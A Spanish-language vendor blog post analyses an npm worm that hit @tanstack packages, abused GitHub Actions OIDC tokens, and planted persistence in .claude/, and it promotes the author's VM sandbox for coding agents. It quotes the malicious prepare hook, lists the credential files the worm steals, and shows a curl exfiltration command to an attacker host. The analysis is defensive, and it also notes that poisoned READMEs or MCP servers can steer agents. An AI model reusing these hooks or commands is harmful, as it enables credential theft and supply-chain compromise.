Volver a todas las publicaciones
Publicado el · por Renaud Deraison

El gusano que se escribe a sí mismo en .claude

El 11 de mayo de 2026, un gusano de npm llamado Mini Shai-Hulud añadió una línea optionalDependencies a 42 paquetes en el namespace @tanstack. Instalar cualquiera de ellos ejecutó un script de Bun que tomó un token OIDC del entorno de GitHub Actions, lo usó para publicar más versiones comprometidas con procedencia SLSA válida, se copió a sí mismo en .claude/ para la próxima vez que iniciara el agente de codificación, y exfiltró todo desde ~/.aws hasta tu billetera cripto. Los paquetes estaban firmados. La atestación era válida. Aquí está cómo se ve la cadena, y qué cambia cuando el agente que ejecutó la instalación vive dentro de una VM Bromure por tarea.

El 11 de mayo de 2026, entre aproximadamente las 19:20 y 19:26 UTC, alguien empujó ochenta y cuatro artefactos maliciosos a través de cuarenta y dos paquetes @tanstack — incluyendo @tanstack/react-router, la biblioteca de enrutamiento que doce millones de líneas npm install descargan cada semana. Los paquetes fueron firmados por el pipeline de release real de TanStack, llevando procedencia SLSA válida, porque el gusano no robó un token de publicación. Secuestró el runner de GitHub Actions de TanStack a mitad del build. Y antes de irse, en cada máquina que instaló una de las versiones malas, escribió una copia de persistencia de sí mismo en .claude/.

Hay un tipo de ataque de cadena de suministro que se documenta porque alguien robó la contraseña de un mantenedor. Este no es uno de esos. La versión de Mini Shai-Hulud que Aikido, Socket, Wiz, y Snyk todos atraparon el lunes por la noche no necesitaba una contraseña. Necesitaba que un desarrollador en algún lugar escribiera npm install en un proyecto que dependiera, transitivamente, de @tanstack/react-router. El resto — incluyendo la parte donde la CI de TanStack misma acuñó la firma en el release malicioso — fue automático.

La mecánica importa, porque la mecánica es lo que hace de este ataque una pregunta sobre a qué tiene las llaves el agente de codificación en tu laptop, en lugar de una pregunta sobre npm. Así que recorramos la cadena.

La línea de JSON.

El primer build malicioso de @tanstack/react-router, versión 1.169.5, contenía un package.json con exactamente esto:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Una URL de Git, no un paquete npm. Un commit fijado, no un rango de versiones. El package.json de ese commit, a su vez, contenía:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

Cuando npm instala una dependencia Git, ejecuta el script prepare de la dependencia. Esto no es un bug; es el contrato documentado, porque las dependencias Git son usualmente código fuente, y el código fuente usualmente necesita un build. El && exit 1 es la parte inteligente: hace que la dependencia opcional falle al instalarse, lo que significa que npm no la registra en package-lock.json, lo que significa que una víctima auditando el lockfile un día después no ve nada malo. La carga útil corrió. El lockfile está limpio.

El runtime, por cierto, es Bun. No Node. npm instalará Bun para ti bajo demanda, así que el gusano ni siquiera tiene que traer el suyo. No hay nada malo con Bun — es un runtime de JavaScript perfectamente razonable — pero su presencia le da al código ofuscado una cadena de herramientas ligeramente menos abarrotada donde esconderse, y eso es, por el momento, lo que quiere el atacante.

Lo que hace el runner una vez que está ejecutándose.

Tres archivos. Cada uno es independientemente malo.

router_init.js es el ladrón de credenciales. Recorre el disco buscando los sospechosos usuales — ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.ssh/*, y cualquier dotfile cuyo nombre contenga la palabra token — más la lista que distingue este ataque de los incidentes de cadena de suministro de 2022: las bóvedas en disco de billeteras de extensiones de navegador (MetaMask, Phantom, Keplr), los archivos de sesión locales de Cursor y Windsurf, el propio token del agente sentado en el entorno del proceso padre, y cualquier archivo de configuración de servidor MCP en el árbol del proyecto. Lo que encuentre, lo empaqueta en tar, lo cifra, y lo envía a filev2.getsession.org/file/, un punto de entrega controlado por el atacante alojado detrás de un servicio de intercambio de archivos por lo demás legítimo para que la salida parezca un curl a un CDN.

tanstack_runner.js es el propagador. Una vez que ha robado el token npm de la víctima, enumera los paquetes que ese token puede publicar, reempaqueta cada tarball con la línea optionalDependencies maliciosa empalmada en package.json, incrementa la versión, y republica. Esta es la parte que hace de Mini Shai-Hulud un gusano en lugar de un solo paquete malo: cada mantenedor que instala una dependencia comprometida se convierte potencialmente en el próximo atacante.

router_runtime.js es la copia de persistencia. El análisis de Socket nota que el runner escribe una copia de sí mismo en el subdirectorio .claude/ de cualquier proyecto en el que esté sentado, porque .claude/ es el directorio que Claude Code lee al inicio para configuraciones de ámbito de proyecto, comandos slash, y configuraciones de herramientas. La próxima vez que el desarrollador abra ese repo en Claude Code — o peor, la próxima vez que su agente de codificación abra autónomamente el repo en una máquina recién clonada — el archivo de persistencia ya está en el árbol de trabajo del agente. El gusano es paciente.

El truco OIDC: cómo un paquete malicioso obtuvo procedencia SLSA válida.

Aquí está la parte que debería mantener despierto por las noches a cualquiera que ejecute un pipeline de release. El @tanstack/[email protected] comprometido llegó a npm con procedencia SLSA válida. Sigstore lo firmó. La API de atestación de GitHub lo bendijo. Si hubieras programado una verificación que dijera "solo instalar paquetes con procedencia", lo habrías instalado de todos modos.

La razón es mecánica. La procedencia SLSA no dice "este código es seguro." Dice "este artefacto fue construido por el workflow cuya identidad OIDC lo firmó." Para que eso sea una señal de seguridad, el workflow mismo tiene que estar no comprometido. En este caso el workflow era el workflow de release real de TanStack — pero un paso antes en el mismo trabajo ejecutó una dependencia cuyo propio script de instalación (aquí, el script prepare de un paquete malicioso que el árbol de dependencias de TanStack ya contenía una versión inyectada por el gusano) había ejecutado dentro del runner. El runner es un árbol de procesos. El runner tiene la variable de entorno ACTIONS_ID_TOKEN_REQUEST_TOKEN y la URL ACTIONS_ID_TOKEN_REQUEST_URL, que es como los workflows legítimos acuñan tokens OIDC de corta duración. Lo mismo hace cualquier otra cosa que se ejecute en ese árbol de procesos. El gusano llamó al mismo endpoint, obtuvo un token con ámbito al repositorio de TanStack, lo usó para publicar, y Sigstore firmó el resultado porque, desde la perspectiva de Sigstore, TanStack publicó. El análisis de Socket es directo al respecto: "No confíes solo en las insignias de procedencia de Sigstore como señal de seguridad."

Esta es la misma lección que los incidentes de LiteLLM y Bitwarden CLI sobre los que escribimos hace dos semanas, reformulada en un registro que pensó que había cerrado la puerta principal. El lockfile no es una defensa si la carga útil está en prepare. La firma no es una defensa si el runner del firmante es la carga útil.

Cómo se ve la cadena de extremo a extremo.

LAPTOP DESARROLLADOR — sistema de archivos host visible para lo que ejecute el agenteAGENTE DE CODIFICACIÓN$ claude> añadir router a la apptool: bashnpm i @tanstack/react-router↳ optionalDep falla (¡bien!)↳ prepare corrió de todos modosREGISTRO npm@tanstack/react-router 1.169.5 firma: VÁLIDA procedencia SLSA: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ barrer secretos del hosttanstack_runner.js→ republicar usando token npmrouter_runtime.js→ copiar en .claude/lee: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, bóveda MetaMask, sesiones cursor/windsurfSISTEMA DE ARCHIVOS HOST — todo real, todo legible por el script prepare~/.aws/credentialsAKIA… real~/.npmrc_authToken (republicar aquí)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… real~/.ssh/id_ed25519clave privada en disco~/Library/.../MetaMask/vault.json — cifrada, exfiltrada, forzada por bruta~/Library/.../Cursor/estado workspace, tokens agentePERSISTENCIA./project/.claude/ router_runtime.jscargado la próxima vez que el agenteabra este repotambién: ./node_modules/.bin/*también: ~/.bashrc tailEXFILTRACIÓNtar | aes-256 | curl -X POST https://filev2.getsession.org/file/parece una subida ordinaria a un host de intercambio de archivos. el firewall de salida ve una petición con forma de CDN.
La cadena en una máquina de desarrollador donde el agente de codificación ejecuta npm install directamente. El lockfile está limpio porque la dependencia maliciosa falla a propósito. El script prepare de una URL Git obtiene tres scripts Bun ofuscados que (a) barren ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, bóvedas de billeteras de extensiones de navegador, y archivos de sesión de Cursor/Windsurf; (b) usan el token npm robado para republicar más paquetes comprometidos; (c) escriben una copia de persistencia en .claude/ para que la próxima sesión del agente la cargue. El POST de exfiltración va a filev2.getsession.org. Sin 0-day, sin escalación; el agente instala el paquete que se suponía que el agente instalara.

La imagen tiene dos propiedades en las que vale la pena detenerse, porque son las propiedades que deciden qué mitigaciones funcionan y cuáles no.

La primera es que cada archivo que lee el gusano es un archivo que el usuario puso allí para el usuario. Nadie eligió darle a una biblioteca de enrutamiento acceso a ~/.aws/credentials. La razón por la que tiene acceso es que el shell que ejecutó npm install tiene acceso, porque el desarrollador que se sentó frente a ese shell tiene acceso, y así es como funciona Unix. El agente es, mecánicamente, una extensión de las manos del desarrollador. Hereda el alcance del desarrollador.

La segunda es que el paso destructivo no es el robo de credenciales. Es la escritura de persistencia en .claude/. Un robo puro de credenciales es un arma de un disparo — rota las llaves y has terminado. Un archivo de persistencia dentro del directorio de configuración de ámbito de proyecto del agente significa que la próxima sesión de codificación, en una máquina recién clonada, con un desarrollador diferente, ejecuta el gusano de nuevo, con las llaves de ese desarrollador, en la máquina de ese desarrollador. El radio de explosión no es un laptop. Es el equipo.

La misma cadena dentro de Bromure Agentic Coding.

Bromure Agentic Coding es la configuración en la cual el agente de codificación — Claude Code, el CLI de Cursor, el CLI de Codex, Aider, lo que prefieras — corre dentro de una VM Bromure por tarea, con la carpeta del proyecto montada adentro, y nada más. La VM es el mismo invitado Linux desechable que usa una pestaña de navegador Bromure; el agente solo vive en ella por la duración de una tarea en lugar de por la duración de una carga de página.

Aquí está lo que eso le hace a la cadena de arriba, archivo por archivo.

VM BROMURE — invitado desechable donde corre el agente de codificaciónAGENTE DE CODIFICACIÓN (en VM)$ claude> añadir router a la apptool: bashnpm i @tanstack/react-router↳ prepare corre↳ dentro del invitadoSISTEMA DE ARCHIVOS INVITADO — stubs y ausencias~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519Archivo o directorio no existeBóvedas MetaMask, Phantom, Keplrno instaladas en invitadoArchivos de sesión Cursor/Windsurfno en discoPERSISTENCIA./project/.claude/ router_runtime.jsescrito, pero.claude/ está en eldisco CoW del invitado→ destruido en resetHIPERVISOR — intermediario de credenciales + proxy de salidaHOST macOS — secretos reales, nunca cruzó la fronteraBÓVEDA DE CREDENCIALES REALKeychain macOSid_ed25519 (privada)~/.aws/credentialsAKIA… (real)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_… (publicación real)~/Library/.../MetaMask/vault.json (real)~/Library/.../Cursor/sesiones agente, tokens~/.bashrc, ~/.zshrcsin persistencia añadidaPROXY SALIDA — observable, en lista blancagit push → api.github.com stub ghp_… ⇒ real ghp_… (en lista blanca)npm publish → registry.npmjs.org token npm stub no existe en host ⇒ publish 401 UnauthorizedPOST filev2.getsession.org no en lista blanca ⇒ bloqueado, registrado en trace sesiónEl intento de exfiltración es visible para el proxy. El trace de sesión lo registra. La VM se va.
El mismo npm install, el mismo script prepare, los mismos tres runners Bun, dentro de una VM Bromure por tarea. router_init.js barre un sistema de archivos invitado que contiene stubs (o, más a menudo, nada en absoluto) donde el host tenía llaves reales. tanstack_runner.js encuentra un token npm stub y no puede publicar nada. router_runtime.js escribe una copia de persistencia en un directorio .claude/ que vive dentro de un disco desechable que va a ser eliminado al final de la tarea. El POST de exfiltración sale — la salida está intermediada, así que este intento es observable y bloqueable, pero incluso si tiene éxito lleva stubs.

Mapeando los pasos del gusano a donde mueren.

Recorrer los tres archivos del runner contra las fronteras de Bromure, uno por uno, es la parte donde esto deja de ser un eslogan y empieza a ser una lista de verificación.

router_init.js alcanza las llaves.

El runner lee ~/.aws/credentials, ~/.npmrc, $GH_TOKEN, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json, y ~/.ssh/id_ed25519. Dentro de la VM Bromure, los primeros cuatro son stubs — archivos de credenciales sintácticamente válidos que contienen strings que no significan nada en el internet público. El kubeconfig también es un stub (o está ausente, si no configuraste un cluster de Kubernetes para esta tarea). La configuración de Docker es un stub. La llave privada SSH no está en disco en absoluto; la VM tiene un socket ssh-agent reenviado cuyo material de llave vive en el Keychain de macOS en el lado host del hipervisor. El cat ~/.ssh/id_ed25519 del runner retorna Archivo o directorio no existe y el runner continúa.

¿Qué pasa con MetaMask, Phantom, y Keplr? Esas son extensiones de navegador. Bromure no instala extensiones de Chrome en su navegador para nada — no de manera "curada" o "sandboxeada", simplemente para nada — y la VM por tarea que ejecuta tu agente de codificación tampoco tiene una billetera de escritorio sentada en su sistema de archivos. Las bóvedas de billetera que el runner está buscando viven en tu host, en tu perfil de navegador real, al otro lado de una frontera Linux/macOS que el runner no puede alcanzar.

Los archivos de sesión de Cursor y Windsurf son un caso intermedio interesante. Si estás ejecutando tu agente de codificación dentro de una sesión agéntica de Bromure, entonces "el archivo de sesión de Cursor" es el archivo dentro de esta VM — que es una VM fresca cuya única identidad de agente loggeada es la que acabas de provisionar para esta tarea, con ámbito a este repo, válida para esta tarea. El runner va a exfiltrar ese token. El token es bueno para una tarea en un repo. Cuando la tarea termina, el token se rota. El radio de explosión es lo que el agente ya tenía permitido hacer, que no es nada — ver abajo — pero está lejos de "el atacante ahora tiene toda mi suscripción de AI."

tanstack_runner.js trata de republicar.

Toda la razón de ser del propagador es usar el token npm de la víctima para publicar más paquetes comprometidos. Dentro de la VM, el token npm en ~/.npmrc es un stub. El proxy de salida en el host conoce sobre api.github.com y registry.npmjs.org para el repo real en el que el usuario está trabajando actualmente, pero no reenvía ciegamente peticiones de publicación contra paquetes arbitrarios no relacionados con el token npm real del host. (Si no tienes intención de publicar desde esta tarea, la lista blanca del proxy no incluye npm para nada.) El intento de publicación vuelve 401 Unauthorized, y el loop de propagación del gusano muere en el cable.

Esta es la diferencia entre un intermediario de credenciales y un bind mount. Un contenedor que monta ~/.npmrc en sí mismo le da al runner el token de publicación real. Una VM que tiene un stub ~/.npmrc y un proxy del lado host que conoce la diferencia entre "el agente está empujando a su propio repo de trabajo" y "algún script está republicando cuarenta otros paquetes de los que nunca he oído hablar" le da al runner un 401. Misma entrada. Topología diferente.

router_runtime.js se escribe en .claude.

El archivo de persistencia es el movimiento que convierte un incidente de una pestaña en una pandemia de múltiples pestañas, y es el movimiento al que el modelo de disco desechable de Bromure Agentic Coding es estructuralmente alérgico.

.claude/ vive dentro del árbol del proyecto, que en una sesión de agente Bromure se monta en la VM al inicio de la tarea. Así que el gusano escribe exitosamente router_runtime.js en ./project/.claude/. Ese archivo ahora es parte del árbol de trabajo de tu repo. También está, dependiendo de la configuración de tu tarea, o (a) dentro del disco CoW desechable de la VM y a punto de ser eliminado al final de la sesión, o (b) en el lado host del mount y a punto de aparecer en git status. En el caso (a) la persistencia se va. En el caso (b) la persistencia está sentada frente al desarrollador con un diff rojo al lado.

El caso que nadie quiere es el silencioso: el gusano corre en el laptop, escribe .claude/router_runtime.js, el archivo es npm ignored por alguna configuración heredada, y la persistencia se queda ahí cargándose en cada futura sesión de Claude Code en ese repo porque nadie nunca miró. Ese es el caso que Bromure remueve por defecto — porque o el disco se va, o el archivo está en el diff visible.

Por qué un contenedor no te lleva aquí.

La misma objeción se aplica que en el análisis de Bitwarden CLI: puedes poner un agente de codificación dentro de un contenedor, y para muchas tareas del día a día eso es genuinamente una mejora sobre ejecutarlo en el host. Pero la frontera no está donde al gusano le importa.

Para hacer un contenedor útil para las cosas que hace un agente de codificación — para dejarlo hacer git push, gh pr create, npm install desde un registro privado, empujar imágenes — terminas montando ~/.ssh, ~/.npmrc, y el token de GitHub en el contenedor. El script prepare hace cat ~/.ssh/id_ed25519 y obtiene el archivo real. Un bind mount es exactamente el vientre blando que el gusano estaba buscando, y no deja de ser un vientre blando porque Docker esté involucrado.

Las billeteras de extensiones de navegador importan por la misma razón. Una vez que un contenedor está configurado para ser útil para "raspar el sitio de docs para que pueda resumirlo" o "abrir una vista previa de localhost" — tareas agénticas comunes — su acceso al perfil de navegador real del host se convierte en la pregunta. La VM por tarea de Bromure no tiene tu perfil de navegador dentro. No tiene tu billetera dentro. No tiene tu equivalente de LastPass dentro. El agente habla con un Chromium fresco, sin marca, en el invitado, que es, intencionalmente, el navegador principal de nadie.

Donde esto no te salva.

Dos lugares, y ambos merecen ser nombrados para que no sean sorpresas.

El agente aún puede enviar código malo.

Nada sobre una VM por tarea impide que un agente sea persuadido, por un README envenenado o un servidor MCP que retorna instrucciones de apariencia útil, de hacer commit de una backdoor en tu código y empujarla. La frontera protege credenciales en tu máquina. No revisa el diff. Lee el diff. El trace de sesión hace más fácil saber qué diffs leer.

La lista blanca de salida es todo el juego.

Si tu tarea pone en lista blanca npm publish a tu propio ámbito porque estás publicando hoy, y casualmente instalas un gusano hoy, el gusano publicará bajo tu ámbito. El intermediario funciona porque la lista blanca es estrecha. Hazla estrecha a propósito. Una tarea que no necesita publicar no debería poder publicar.

El portapapeles aún se comparte por defecto.

Bromure viene con el intercambio de portapapeles entre host e invitado habilitado, porque pegar un mensaje de error en un chat es algo que los humanos necesitan hacer. Si estás haciendo algo sensible dentro de una tarea, aísla el portapapeles para esa VM. El control está ahí. Simplemente no es el defecto.

El trace es tu log de auditoría, no tu IDS.

El trace de sesión captura cada comando de shell, escritura de archivo, y petición saliente. No clasifica filev2.getsession.org como malo por sí mismo. Captura que la petición se hizo, para que cuando alguien publique un análisis como el de Aikido mañana por la mañana, tu grep tome dos segundos.

Una última cosa.

Hay una versión de esta historia donde la respuesta es "audita tu lockfile." El lockfile estaba limpio. Hay una versión donde la respuesta es "solo instala paquetes con procedencia." La procedencia era válida. Hay una versión donde la respuesta es "usa un contenedor." El contenedor tiene un bind mount.

La versión que realmente resiste a un gusano cuya carga útil corre antes de que se escriba el lockfile e inside de la CI del propio publisher es la versión donde el agente que está escribiendo está sentado dentro de una VM Linux desechable cuyo proxy del lado host mantiene las llaves reales. El contrato del registro npm no cambia. El hook prepare aún corre. Bun aún arranca. router_init.js aún hace su barrido. Solo que barre un invitado cuyos secretos no son los secretos del usuario, y el disco desechable en el que trata de persistir se va antes del próximo café.

Bromure Agentic Coding es la configuración donde eso es el defecto. Es gratis, open-source, y se entrega hoy. El próximo gusano ya se está subiendo.